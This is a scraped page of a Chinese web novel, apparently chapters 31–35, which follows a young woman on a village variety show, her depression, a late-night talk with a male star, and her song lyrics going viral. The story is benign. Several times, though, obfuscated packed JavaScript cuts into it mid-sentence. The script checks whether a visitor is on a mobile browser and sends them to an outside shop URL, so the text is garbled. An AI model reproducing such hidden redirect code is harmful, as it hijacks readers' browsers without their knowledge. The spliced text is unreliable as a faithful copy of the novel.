p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077192|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对阵中摸到支撑,勉强的铠甲骤然溃散。 是高荔,手不断轻抚她的背,泪眼朦胧中望见温婉的漩涡,暴动的列车被握住方向盘,缓慢归于正轨。 代澜哽咽,就听宋汝然见缝插针:“合着你之前就签了合同,怎么有脸还向我们要重修的啊?” 先前不知道还有这层证据,代澜递出接力棒她就接过,奔跑成前锋。 盘纬雄忿忿,气势稍败一截,斜睨那头兴致勃勃的观众,不甘落下风:“我不管,我就要你们给我补这块地!” “好,好。” 代澜没想到一直在最前静观其变还充当人墙的何子游这时突然又出声,在荒谬氛围里第一人发笑。 这场景似曾相识。 “摄像老师麻烦先关掉机器……”他回头有礼提醒,只是动作太快,转瞬间代澜琢磨不透男人的笑。 而回应他的是盘纬雄有些退却的“你要干什么不当着镜头说?” “我刚刚帮你和涛哥说了,等等就带村委会的人过来跟你好好商量。”何子游不知何时掏出手机和吴楠涛紧急联系,举起来晃晃,勾唇明朗。 明明句句含笑,却似提钟在人耳边狂敲,警醒他别忘无赖的后果。 远处几个村民窃窃私语得有些烦人,窸窸窣窣穿过盘纬雄漏洞百出的防御。 “我特地帮你联系了县里的律师,保证能维护你的‘权利’,够吗?” 他故作关切,一身修长微微拢腰,柳眉尾上挑,倒有风流倜傥的那股劲,明明是平心静气,却纵起万般回响:“不够我现在再报个警,让警察来处理。” 盘纬雄憋了许久没再和村委会发火,不就是为了等这个第三方机会吗? 本意是想借由这次有摄像机或者粉丝跟着录制,好向村委会施压,掐着度为己所用,说不准节目未播先火还仗了自己的运呢。 可此刻见阵仗如愿变大,就连预想中的粉丝也一个都没有,他反而急了,满腔憋着气,却争不得半分:“你……你们这是什么破节目!敢威胁普通村民!” 倏然男人又作“无辜”状,貌似才想起什么重要事,颇为“善解人意”:“哦,不好意思,你还要打马赛克上电视来着……” 话毕,代澜视线紧随,目睹他垂眸前是荒诞风流,再抬眼冷若冰霜,将敌人无理无赖步步紧逼。 “……你该不会真的以为我们会怕你把事情闹大吧?”何子游将盘纬雄本就单薄的论点一一攻破,“现在早不是十年前了,大家都过了听风就是雨的阶段。” “你确定你的所作所为不会走漏风声?”他要笑出声,斜眼瞥向那边看笑话的几人。 “真要录的话,你有这个胆量和底气面对舆论吗?” 死鸭子嘴硬,盘纬雄企图再争一句,却被何子游在下一秒噎得说不出一句话。 “成年人了,不顾顾自己的脸面,好歹看看你后面还有个家吧?” “所以这摄像机,”他闭眼低头,似乎是又渡一次心头火,最后重新望向不远处的中年男人,利落下最后通牒,掷地有声,“你还要不要开?” 32. 帝释青 无硝烟战争最终以村委会人员到来而告终。 而要等的盘庆义和盘庆奇两兄弟姗姗来迟,迟到原因竟只是为了等一笼新鲜出炉的包子,手机无法接通则是因为盘庆义通宵搓麻将,电量支撑不住。 不过一行人经了这么一遭后显然也没心情去吐槽兄弟俩的行事,匆匆将剩余物资都平安送到其他人手中后,终于踏上回敬老院的路。 上了车气氛沉闷,因为吴楠涛还要处理他们和盘纬雄的烂摊子,放不下手机,所以司机换成了何子游。 而清早晕车的代澜则在余渔的强烈要求下坐到了副驾。 车子缓缓驶出大棠村的牌坊,起初开得很稳。 还没到傍晚,山风里还混着太阳半分余晖热量,从敞开的车窗扑向代澜。 无束缚的齐肩发被胡乱吹起,骚动她的眼睛,可她却没力气回避。 一切都太始料未及…… 代澜陷入座椅,小口小口地呼气,挤压尽肺里最后一丝气息,再换回一次长足的供给,思绪依旧沉浸在方才经历无法逃离。 ——谁也不知道这对她来说竟是一场豪赌。 指腹顺着安全带的纹路摩挲。 ……是的。 她藏了好久。 以至于方才将那句“够了”喊出时,一场积攒了好久的雨才终于畅快淋漓落下。 浑身都湿漉漉的。 她阖眼,总会忍不住想到不同时空的,过去的自己。 小时候直接,莽撞,遇事爱出头,替人打抱不平,畅想成为一身红衣的江湖女侠客。 可自从那天以后,人生似乎被牵引到了另一个方向。 讥笑、讽刺、刻薄、滂沱的污蔑。 刚直的剑锋被劈去引以为傲的刃。 谆谆教诲:“‘枪打出头鸟’,你得学会做事圆滑点,学着拐弯。” 苦口婆心:“别以为大家都觉得你好,都盼着你好,你看看他们,都在看你笑话呢!” …… 她便弯腰顺从劝诫,回避冲突,笨拙地将稀泥和成球,在大流中狼狈地学习踢来踢去。 要骗别人,要哄自己,顺便缩进壳里,麻木习以为常,冷眼做陌路人。 好像不会再有剑重铸锋芒的那天。 可…… 代澜深吸一口气,回应她的是山间的风依旧,她的发也依旧,胡乱的样子像疯掉的八爪鱼。 眼帘略微抬高,后视镜里,女孩容易将身后几人尽收眼底。 劫后余生,他们几人赖在各自位置上,随口挑些闲言碎语翻来覆去地讲,一切都似那么平静。 恐怕比起在名利场里的暗涌,方才也不过是他们人生中的小小波涛起伏。 代澜忽然又想起苏恩怡的叮嘱:“你可得小心点,别交心了,当明星的个个都是人精,你只是个普通人,万一不小心得罪了,指不定背后给你一下。” 忽地被风眯了眼。 记忆中那一张张所谓纯粹学生气的面孔被覆上蒙蒙灰雾,朦胧中欲要和他们重叠。 相处四年的同班同学和刚认识一周有余的大明星…… 她讪笑,为过去被荒谬地背叛以至于跌入深渊而不值。 未结痂的伤口又流脓了。 那些同样的条件在脑海里悬浮不定,缓慢却又胁迫性地将避之不及的碎片重组。 本以为翻篇了,可当相似境遇再次出现,碎片被拼成图,她才知道原来自己一直在旋涡中心打转! 但这次绝不是被动! 女孩亲自以刀刺破岌岌可危的创伤,让过去的流言蜚语全都暴露在大雨下冲刷,直到将他们和他们分开—— 代澜赌赢了。 她奋力推翻过去阴影,明知代价还为之时,心中那杆秤便给出了答案。 拥抱会取代冷眼,维护会替代讽刺,也会有人从她身后站出来,再挡在她面前。 …… “小澜?” “嗯?” 她的名字似乎经过不同人的唇间,从男声到女声,愈发急切,终于有意识回应。 让游走魂魄回归的同时发觉声线被盖上浓厚鼻音,而后是脸颊上泪珠断线,止不住地滚落又滚落。 连自己都不可思议,从压抑哭声到哽咽,两手背胡乱蹭走泪水。 唤醒她的是余渔,她从后座倾身而来,只露出大半张脸,眉头扣成团,一手还稍扶着代澜的肩,传递温暖:“怎么就哭啦?干嘛哭了呀?” “我……”她竟一时语塞,无所适从。 “啊?我还以为是吹风吹得流鼻涕了,怎么了宝?”后座隐约传来宋汝然关心。 代澜被这句惊醒,才发觉车子早驶入漆黑,她是什么时候开始流眼泪的?又是什么时候天色渐变? 没有答案。 车窗缓缓摇上,她下意识侧头望向玻璃,忧郁的风被隔绝在外,而清思被留下,在自我倒影出现的某一刻,忽然对上了何子游望向玻璃中的她的视线。 像晃动火苗,触碰稍纵即逝,没来得及沿着折射轨迹回望,余渔接过谁递来的纸巾,塞到她怀里。 “我……我只是想到下午的事,心里有点乱,替你们委屈……”眼泪还是不争气,滴答掉落在指甲盖上,路灯闪过,给予泪珠以光。 代澜的所说也是实话,众人离开村委会前往村口停车场时,吴楠涛意外接到林彩院长的电话,竟是盘纬雄在他们走后一个电话打到院长处,投诉几人对村民无礼。 随意将泪水拭去,代澜攥着泡湿的纸巾,目光瑟缩回指尖被撕得不见完好之迹:“抱歉,我是队长,下午的事处理得实在不妥当……扣工资这部分就扣我的吧。” “怎么会……”高荔和宋汝然几乎同时劝慰。 借着后视镜,代澜掩饰自己尴尬而无措,奋力将笑容撑起以示宽慰。 但显然这并非妙计,因为这笑看上去实在漏洞百出,索性一瞬又垂眸:“本来我就该控场的呀,结果也没控住……我工作能力还不够强,才连累了你们。” 面对镜子中几道灼灼视线,她甘拜下风,可她只能牵强地笑,歉意从低落声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137922|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线中溢出。 “也没来得及给你们解释前因后果……如果早点说清楚可能反驳得更快,你们也不会被骂多几句。” “让你们被骂了,还要扣工资,我也有责任,对不起没保护好你们。” 如果说上车后是她在为重获支撑而庆幸,那么接下来,代澜又跌落谷底,陷入时差困境。 她挺身而出得太晚了。 从前摔得实在太痛,对争执和冲突的害怕将她的口鼻捂住,失去勇敢捍卫的勇气,只有懦弱过剩。 可好不容易花了更多的勇气与懦弱对抗成功,却发现太晚,周围人已受伤害。 不是说赌吗?赌对了又怎样?还不是弄得一团糟,让所有人都为此付出代价…… 代澜的思维似乎陷入无状的纠结,团团包裹,层层难解,无止境地内耗自贬让她的精神体反复在被抛高又重摔下,折磨得再无脾气,熟练将所有问题归咎自我。 高荔温声:“没有,我们都没有,你压力不要太大了呀。” 身后一阵窸窣,代澜止不住地抽噎,偏头却发现探头出现在椅旁的竟是宋汝然:“别这样想啊,扣工资真不是什么大事,不是连不连累的。” “就算今天是阿涛带队,汝然可能还是会和他吵起来,是吧?”高荔轻声。 宋汝然朝后点头:“对啊,你不在的话说不定我还和他吵得更厉害呢……” “啊?在美女面前就端庄优雅,在我面前就能火力全开?什么意思?”吴楠涛听了半天终于忍不住开口嗔怪,惹得几人发笑,严肃氛围霎时解锁。 手中纸巾成纸团,你一言我一语,代澜淤堵的心似乎有所缓解。 她忽然想起得知要参演综艺时,自己是何等抵触,而如今身处其中,竟然反而得到了一丝安慰。 这些安慰的瞬间,她有资格再获得多一些吗? “我就是这样怎么啦?”宋汝然倒开始耍赖,互怼好几下,可算把代澜也哄好,瞧人脸色有松动这才又挤来凑近些,“我们小澜就是个美人小哭包……哎呀你干嘛!” 代澜见着宋汝然正要伸手往她脸颊上戳,羞得温度好似都急急往上涌,忽地就挨了何子游一下:“往后点,别挤。” 嗯? 她维持笑意看女人边骂骂咧咧,边往后退,无法再忽视真正位于身旁的人一眼。 似乎在她沉陷后知后觉的创伤压力时,是他的声音先叩响紧锁的心,紧随其后的才是被牵引而来的余渔。 所以,也许他知道答案。 代澜混在暗处轻瞥他一眼。 黄色路灯依旧闪瞬,光影在他挺立鼻梁上弥漫,再滑到清秀眼睫落下阴翳,任凭风景不断倒退随影如何变幻,眼神笃定专注前方。 她的呼吸轻轻,让眼神退场,再度抬眸时望向的同样是前方。 他们有同一个目的地。 摸出手机,代澜编辑了一条短信,发送,熄屏。 然后是与她距离不到五十厘米的男人手边有震动。 “要不然,今晚,安全通道见。” 33. 绀宇 十一点不到,夜已凉。 房门被拉开,屋内的光很快向外倾泻再规矩地撞上边界。 代澜刚洗完澡,吹风机吹得满头热,出门像裹了一团火,又在冷风里熄灭。 毛绒拖鞋走得小心,尽量不为人所知,半身撞开那扇铁门,是另一个没有风声的世界。 何子游还没来,楼道里头黑漆漆的,有些太闷了。 她的腹稿很长,楼道兜圈复盘好几遍,才放松些许。 在跺了几次脚以后,代澜放弃了让感应灯加班的念头,下一秒听见楼上同样被撞开的门响,暖色灯点亮,脚步阶阶落下:“这么快,久等了。” 她不嫌墙脏,羽绒服柔软碰硬,抬头瞬间,男人已走到二分之一的楼梯处。 黑发顺毛,比白天看着乖多了,发梢还有小簇被水黏着,分不清是否还有灯的滤镜,除去未干水汽的熏陶,盯着她的眼尾有半抹红,随着下行,笑意轻颤。 不自在眨巴几下眼,代澜装无意错开眼神,耸起肩,让小半张脸被蓬松的衣领没过:“我也没等很久。” “啊,那就好。” 何子游又顺着楼梯坐下,提膝上裤腿时,代澜才发现他洗完澡还特意换了一套新衣服才出来,对比自己的卡通绒睡衣加长羽绒服…… 虽然不是本意,只是图方便,但好像是有点不把人家当外人…… 她心里暗自懊恼,插兜的双手带着衣服往前拱拱。 ……下次,下次还是穿正式点。 “怎么了?叫我出来是想到什么了吗?”何子游坐在和上一次相同的位置,连姿势一样,高度也恰好与她平视,然而不同的是,这次是她主动“邀约”。 几个小时前代澜在车窗上望过他的眼,而此刻无需折射,就在目光尽头。 她莫名相信那时何子游应该读懂了自己的眼泪,真相不仅仅是没能尽力保护。 就像他猜到,她心脏被剜去一块一样。 所以代澜叫出他,郑重其事,应允相信的约定,也不辜负何子游的帮助。 “你猜到了吧?”她先试探落点,话尾小声,“我哭的原因。” 与过去的创伤有关。 男人左手撑脸,由初始笑意渐渐化为郑重沉吟:“或许吧?多少能猜到。” 空气中似有默契电波,双方未曾挑明,却句句传达清晰。 代澜深呼吸,终于为此刻坦白做最后准备。 可话语都到了唇边,身体却猛然顿住,某瞬大脑卡壳—— 如果此刻要解释为何会恐惧挺身而出,必定要说明从前是如何留下创伤,可这么一来,毁约的事便昭然若揭! 代澜像卡壳的玩具,指令已经输出,却迟迟无法履行。 哈……怪她脑袋被淤塞太久,连这点也并未料想到。 原先的胸有成竹怎的都变成莽撞荒唐? 压抑漫过胸口,局面变得混乱,她只能眼睁睁看着腹稿被瓢泼大雨浸染,字迹模糊。 思绪如藤趁着暴雨向上攀援,将后颈锁得死死的,藏在兜里的手掐着布料,呼吸节奏也不安。 我怎么会忘了这个……那我现在该说些什么? 无意的空白留了太多,灯光下代澜所有窘迫都暴露得一清二楚,就在无措瞬间,眼前忽然落下黑暗幕布。 两人都太久没动,感应灯就罢工。 漆黑伸手不见五指,令人慌乱的事实被墨黑覆盖,偕同未知一起归零,成为从头再来的理由。 月光微微映过窗,代澜双眼逐渐适应突如其来的昏暗,寂静时任何声音都被放大。 忽地一声浅笑,如羽毛落在心间,让慰藉均匀铺陈,然后是清黄的光芒随抬手动作在暗里划出界限。 何子游开了手机的手电筒,灯源朝下安置在身侧,光努力让他露出大半边轮廓,无数尘埃飘动,以及泄露他撑在地上,边缘被光烧着的细指。 明明是他应约而来,却要他包容她毫无理由的刹车。 代澜愧疚也是,挫败也是,好不容易鼓足勇气,最后却化作孽砸垮肩头:“对不起,我突然,好像……” “没关系,现在说不出来,那就留到下次。” 男人何等敏锐,她沉默片刻,就懂得之中意味,甚至无需解释,就自作主张原谅,还顺手给自己安慰。 她不敢对上他的眼神,准备好的防御在何子游面前完全没有用武之地。 找了再多忏悔的办法,寻了再多掩饰的理由,都不及他体谅的一句。 每次都是这样。 “我不是不信任你,”话语间代澜仍然忍不住抬头,一眼同何子游温润尔雅视线相触,勾起的嘴角苦涩,是对自我失序毁约的无力之痛,挫败重重,“与其说不信任,倒不如说,是不信任我自己。” “对不起……”她的头埋得低,为幡然醒悟坦白的BUG,为丢下期待就远走高飞的自己,“我以为我能做到,才叫你来。” 男人依旧望着她,眼中细腻璀璨的光并未湮灭:“我知道你不是不信任我。你已经迈出了第一步,所以一点也不着急,第二步肯定很快就到。” “第一步?”代澜双手早离开口袋,借黑暗遮掩用劲撕扯刚结痂的伤口,难以放过自己,只是听见何子游所言,她的手松了一瞬。 “看见你信息的那刻我真的很开心。” 何子游的笑如风爽朗,直直扑入心里,随着话语情绪起伏,身体也微微晃动,因为有光的映衬,清晰可见周遭尘埃被拨动,再渐渐消失在代澜前方,溺入黑暗。 “之前希望你能信任我,这就是第一步,不管你今天找我来是想说什么,或是无话可说……” “你有愿意和我分享心情的想法,哪怕只是一个念头,我都为你开心,真的。”何子游重复了好多遍“开心”和“高兴”。 黑暗里心绪细腻流淌,她摸索好久,突然有一盏灯亮了,他说是为她而亮。 可代澜不是小孩子了,她知道茫茫旷野里,突如其来的光代表的也许不是温暖,而是危险,更不知道这盏光会亮多久,她不敢彻底放心,只在周围观察。 仿佛这是与生俱来的客套,她也惯于以温顺擅长倾听的面具立在人群之中,看他们路过将灯点亮又熄灭。 但何子游似乎是真的为她小小的一步而高兴。 至少,这盏灯真的亮了好久。 她应该感谢,却难抑慌张,或许这就是病中人和普通人之间细微的心理区别。 任何人尝试攻破她堡垒,哪怕只有短短一寸,她都提高警惕,抬着水泥就往伤处赶,争取在“敌人”看穿自己之前将缺口补上,不暴露任何弱点。 渴望光,又自甘堕落。 然而这次她犹豫了。 修补的手停在那小块漏洞之上,踌躇不定,倾听外界的呼唤。 “谢谢你。” 代澜最终还是松了手,坦然目睹光缓缓从被何子游凿破的缺口里一点点渗入。 不知为何,这三个字说出口的瞬间似乎感受到一点奇怪的情绪,绝不是悲伤,也并非痛苦。 而与此同时,她眼睁睁看着何子游的温和笑意倏然定格,再渐渐地,渐渐地融化成怜惜,莫名与失而复得后的庆幸相似。 他说:“我都说了你笑起来很好看。” “什么?”代澜不解。 何子游盯着她,却似乎不再寻到答案,几秒后将遗憾翻来覆去斟酌回答:“你刚刚笑了。” 思维大跳跃,这话让她不明不白:“我,平常不也笑……” “不,刚刚的不一样……”他边说着,边让一条腿伸直舒展,见她依旧懵懵地摸不着头脑,笑道,“下次,下次给你看看。” - 她自然是没明白何子游的意思。 临睡前趁宋汝然上厕所,在墙上贴的简易镜子前照了又照。 薄唇上伤口好了又被撕扯,她只能微微勾唇,尽量不扯出血迹。 代澜试图模拟平常面具模样。 嘴角尽量自然地上扬,幻想着此刻听见了什么笑话,仿出这样或那样的神态…… ……没意思。 镜子里的她眼眸里一丝笑意生机也无,空洞,涣散,为模仿常人笑容而所做的一切努力都是如此呆板僵硬。 这幅模样不过是个空壳,底下的灵魂早已萎缩,不论再特意激发内心的活力都好似一块死肉罢了。 学得再像又如何?掩饰不去疲惫的状态,黑眼圈、因药物暴瘦而凸起的骨架…… 代澜动了动干燥嘴唇,轻轻舔舐伤口。 当血腥味再度被品尝,她又回到了黑暗。 - 从镇子上兜兜转转回到城市,代澜一路有些疲惫。 要过年了,节目停止录制,除了吴楠涛这个当地人时不时要回去值班,其余人都各自散去。 早前父母还让代澜问何子游要不要一起回,没想到倒是何子游主动来问。 她当然是拒绝。 自己还没蠢到故意招黑的地步,要是被拍到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166110|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真是跳进绿江也洗不清。 好在何子游没多问,尊重她想法,让她帮忙向父母捎句好,便没再继续这个话题。 出租车将代澜送到熟悉路口。 下车,去后备箱取出行李,东西很多,因为要录节目,原先她在暮镇上租的房子干脆退了,先是大包小包转移到敬老院,现在又是回家,她一个人抬着推着艰难,好在撑到了家门口。 还好有电梯,代澜每次回家都庆幸,从前住的楼房都是步梯,要搬这么多东西,只一个她可够呛。 撒手时胳膊酸痛,她甩了甩,伸长手去摁门铃。 “叮咚,叮咚。” 门铃响了三四个来回,代澜在电梯间没有窗口都闷出汗来也没等到回应,费力从背包里翻出钥匙才进家门。 到家时快傍晚,屋里没亮一盏灯。 将东西都搬进门后,她站在玄关处喘气,侧头恰好望见云层里下坠的太阳。 头脑放空,她不知怎的没找一处地方坐下,就立在屋里许久,直到专属黑夜的影子将家具淹没,蔓延到她脚下才如梦初醒。 这个被称作“家”的地方,黑暗与归属感是一起涌来的。 半年前被确诊中度抑郁和中度焦虑时,代澜早有预感。 所有“不正常”的行为都得到了解释,一纸结果不过是为一身忧郁冠上正当的名头,患者本人比父母更淡定。 还记得就在如今右手边的红木椅上,没被医生宣判死刑的她等来了父母为她定下的死刑。 “都完了。” 代敬盯着病历上的诊断结果许久,纸被捏出细痕:“怎么就不能想开点呢?还是说你刚才在医院做的测试是故意选的?” “别想了,医生不都说了那个东西有测谎题吗?”谈雪梅瞧着丈夫越看越沉闷,身子前拢,伸手将病历拿过,本来想直接丢到桌上,手在空中停顿,绕了个圈又来到自己膝上。 她随意翻了几下,几页纸早被逐字逐句研究了数次,最终化成一声长叹,目光倦怠,滑向坐在旁边的代澜:“药你自己看着吃,拿回房间吧。” 不知道为什么,代澜看着父母憔悴模样很想笑。 明明没有犯错,却好像一个正在接受审判的犯人,在经历了医院的审判后回家再判一道刑,而这次的“罪”将真正决定她往后生活的走向。 但她最终还是没笑,因为太累了,连操控皮囊也没有力气,只沉默着将大袋她陌生的药拎回房间放桌上。 再折回去关房门时,代澜听见父母的悄悄话。 “是不是误诊?我再问问人,看看有没有更靠谱的医生……吃这些药真的有用吗?不会越吃越傻吧?会不会上瘾?” “澜澜看着没这么严重吧?也没大吵大闹天天哭……不像……可能就是毕业了闲在家懒而已,你以后多叫她出去运动,出去散步,多说说话就好了。” “要不我再问问小早妈妈,她是护士,懂得多……” “我还是觉得西医不靠谱,问问熟人看有没有中医吧?” …… 代澜从回忆里醒来,黑暗已彻底吞没了这间屋子。 叹气。 她逼着自己,花了一个多小时将东西全部安置好,该洗的洗,该放的放。 洗澡后下楼扔东西,刚好外卖也到,回家犒劳一天没吃东西的胃。 手机消息也很多。 电脑桌上堆满了东西,她腾了个地方放外卖,边吃边看。 家庭群里,有来自谈雪梅的留言,是回答她关于去向的问句:“澜澜,我们在外面吃饭,晚点回来,要不要给你打包点?” 已经是一个小时前的消息了。 她随手回复:“点外卖了。” “好,少吃油炸的啊。”母亲倒是回得快。 代澜瞥了一眼餐盒里的炸鸡,选择不回这句。 再看一眼其他信息。 群聊“敬老院神秘组织”消息99+,代澜早设成了免打扰,粗略扫了一眼,没什么重要消息,都是大家在分享回程的事,以及一些节后事项。 中间宋汝然还@了她,问代澜平安到家没,她引用回复,刚发出去,一通语音电话就拨过来。 嗯?辛穗给我打电话干嘛? “喂?怎么了?” “宝!天啊,你有没有看到!”代澜觉得辛穗要变成尖叫鸡了。 “看到什么?”电话这边悲喜不相通,她多了分好奇。 “我们的《指尖恋人》!好像要火了!” 34. 绀宇 启动电脑,点开微信里收藏的网页,沿着链接一路向下走,辛穗前几天在K站上发布的自制MV正在加载中。 她只顾着往嘴里塞了块炸鸡,又灌口可乐。 气泡在嘴里炸开带来一丝鲜活气,是住在敬老院和老人同吃同住难得的体验。 戴上耳机,代澜咽下这口,等待开始。 《指尖恋人》制作完成后,她听过,也参与了MV片段的挑选,主要以粉丝的视角,回望王施闻步步成名之路。 辛穗编辑字幕时问她要取什么名字,打算在作词者以及片尾感谢名单这行写上,还要把她的K站账号@出来。 当时代澜也没想太多,随口起了个“BLUESTORY”又叮嘱了别@她,就赶忙去接棒洗澡。 后来她手机上看了原片,感觉还不错,但直到此刻在电脑大屏K站上亲眼看见字幕上缓缓出现那个随口起的名字…… BLUESTORY。 蓝色故事。 ……多少有些不可思议。 眼眸倒映MV画面,耳畔是好友所创的曲子,自己所作的词静静流淌。 这首歌是为辛穗所钟爱的明星,王施闻,所作。 代澜一路看着她追星,也算了解王施闻身上发生的故事。 辛穗入坑时王施闻还是个练习生,当时和代澜聊起时,纯粹是为了他的颜和气质而追,结果出道后才知晓实力如此强劲。 优秀的人总不乏被喜欢,王施闻在选秀后一举成名,代澜本以为往后就一帆风顺,谁知火是火了,腥风血雨也自此开始。 黑料层出不穷是大背景,而某天突如其来莫名的绯闻成了这位顶流的转折点。 随后是足以让她这般的路人惊叹的流程:在传闻中他的神秘豪宅里自杀,被绯闻女友救回,和所属公司彻底闹掰,澄清绯闻,隐退宣布出国留学。 最后是大批洗白稿一拥而上,当初纷纷踩一脚的“路人”或是各路营销号下场道歉或澄清。 而被舆论玩弄于股掌之间的真路人蓦然回首,王施闻已成娱圈白月光。 辛穗一路追得辛苦,从打榜投票到自制产出,转型演员后的收视率和奖项支持,她一个不落,也未曾因这些黑料动摇。 王施闻发长文宣布神隐,得知消息的代澜想安慰好友,可手机那头的辛穗好似没有她预想中的那么悲伤。 她说:“他终于自由了。” 六个字打出来,后面还跟了个放礼品的小狗表情包,代澜想,她真的能放下吗? 这也是为什么她会在听见辛穗要自作曲时,毫不犹豫鼓励她的理由。 当然,这也是为什么会拒绝帮忙作词的原因之一。 这是独属辛穗和他的瞬间。 但辛穗却说:“就写你看见的我吧。” 于是她便写了。 所幸,最后好友的反馈也很好。 …… 若有所思,代澜的心柔软,伴随最后一句断点,熟悉的手机熄屏声收尾,画面忽然变暗,少女的明恋还是暗恋终于落下帷幕。 不得不说辛穗作为王施闻的狂热粉丝,对他的素材了如指掌,拼接把握得极好,很多镜头片段连代澜一个不追星的人看了都忍不住动情。 为了作词,代澜早将这首歌听得滚瓜烂熟,缩小视频,她还沉溺在高潮部分的哼唱里,打算点开弹幕再听一次。 哦,对了,明明小穗是让她来看《指尖》火了来着。 鼠标滚动至视频下方—— 真的假的?! 来不及放下筷子,代澜用手背来回搓眼,确定眼前看见的播放量三万单位是真的没错! 再晃眼,她才发现点赞过一万,评论早已99+。 置顶是辛穗几小时前播放量过两万时的感谢语,代澜越过,径直往下滑。 一楼: “听哭了。” 简单一句,占据第一楼,点赞过三千,楼中楼50+,清一色复制粘贴同样三个字。 二楼: “我靠,小狗教主你居然复活了!这么久不见,居然自作曲都出了!我听哭了呜呜!谢谢教主的创作!!!两枚硬币已献上!” 辛穗的网名叫“心碎小狗”,因为产出多,在粉圈话语权大,被戏称为“小狗教主”。 二楼显然也是王施闻的粉丝,代澜点进楼中楼,发现大家都在哭,或是怀念那时候他还在活动的日子。 三楼: “‘那瞬间风的眷恋,仍缠绵,我眸中无数的画面,你是否能听见,跨越时间,和挣扎的思念。’我能说这段高潮绝了吗…… 好震撼啊啊救命(捂住心脏),歌词配合MV这等剪辑……大师为什么不是我同担!!我真的直接跪下!” 楼中楼: ——“喂喂!休想将教主抢走!” ——“我反而最喜欢还没正式唱的时候好像电话录音的那句‘Mylover.’加上第一句‘指尖请吻我的脸’,感觉整个人被叫醒了一样,酥酥麻麻好可怕,鸡皮疙瘩都起来了……” “楼上+1,同喜欢第一句,心碎小狗真的好会写,怕不是全能吧?” “虽然但是词不是教主写的,是BLUESTORY写的。” 被提到的人不安地喝了口可乐。 那句“mylover”做成通话录音音效,以及唱法还是她的提议。 一路刷下来,从未见过如此阵仗的代澜只能在屏幕前紧张地查看评论,生怕自己做得不好惹人嘲笑。 不过好在大多数人的注意力和评论主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210697|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题都在MV的主角王施闻身上,只有小部分人在夸赞词曲的同时提到自己的名字,问这个从未在心碎小狗作品中出现过的蓝色故事到底是谁。 当然,回答他们的都是不知道,以及沉默。 - 这一夜代澜睡得不算好,但也不算坏。 好的是没有做恶心恐怖的梦,坏的是梦里的她被一群人在雨里追着跑了很远很远。 结果就是,一觉醒来浑身腰酸背痛。 代澜睁着眼空洞地回顾梦境,想来是昨天一整天赶车赶高铁的后遗症,加上抬了太多行李而手脚酸麻。 翻了个身,伸长手摸床头柜充电的手机,拎到眼前一看已是上午十点多,揉揉眼,她还沾着许多困意,信息倒是有好几条,点开微信,还是辛穗占了大多数。 前头感伤的话语代澜一一回复,慢悠悠刷到下句,不想吓得一身冷汗。 “!澜澜我们上热搜了!”来自凌晨五点多。 什么情况? 往后是辛穗发来的截图,微博文娱榜热搜上,话题#指尖恋人#明晃晃缀在榜尾。 可惜力量薄弱,好友叽叽喳喳地播报话题掉了又上,上了又掉的波折之旅。 “我发在超话里的MV点赞和转发一共过一万了,哭哭!还是有很多人爱他的。”来自凌晨六点半。 之后的大差不差,代澜便迅速划到最底,人形播报机终于坚持到早上七点宣告撑不过困意,留下一句“又上热搜了”遗憾离场。 这家伙真是…… 代澜正想熄屏继续睡个回笼觉,翻身把被子裹紧,抱着小熊寻个舒服姿势入睡,可不知为何,像被念念叨叨的好友传染,一闭眼,脑海里就自动出现热搜的画面。 难道你就不好奇现在热搜上有什么吗? 奇怪的念头奇怪地出现。 她又翻个身。 看看吧,说不定有惊喜哦。 ……她认命了。 手机也被迫起床,打开微博热搜往下滑,只为了满足她可恶的好奇心。 因为辛穗播报的排名一直是热搜最底,所以代澜直接一滑到底。 嗯?没有。 再看看文娱榜。 好吧,也没有。 看来……也就这样了。 不过说不失望是假的。 被吊起的好奇心太重,代澜盯着最后一位热搜,为自己“贪图名利”的想法懊恼,不过很快便调整回来,毕竟初心只是作词,为辛穗,也为她爱的人。 于是不到五秒,她习惯性往上滑,本想随便看看有没有感兴趣的,却在某一瞬间猛地瞥见“王施闻粉丝”五字正挂在文娱榜第四。 代澜的心迟钝半拍,下一秒,她点了进去,首页赫然是心碎小狗发布的《指尖恋人》。 35. 绀宇 其实她对这首歌能大受欢迎早有预感。 辛穗的能力代澜有目共睹,不论是编曲,作曲,韵律,还是乐器的搭配混合,这首歌的完成度已然超过许多兴趣爱好者制作的成果。 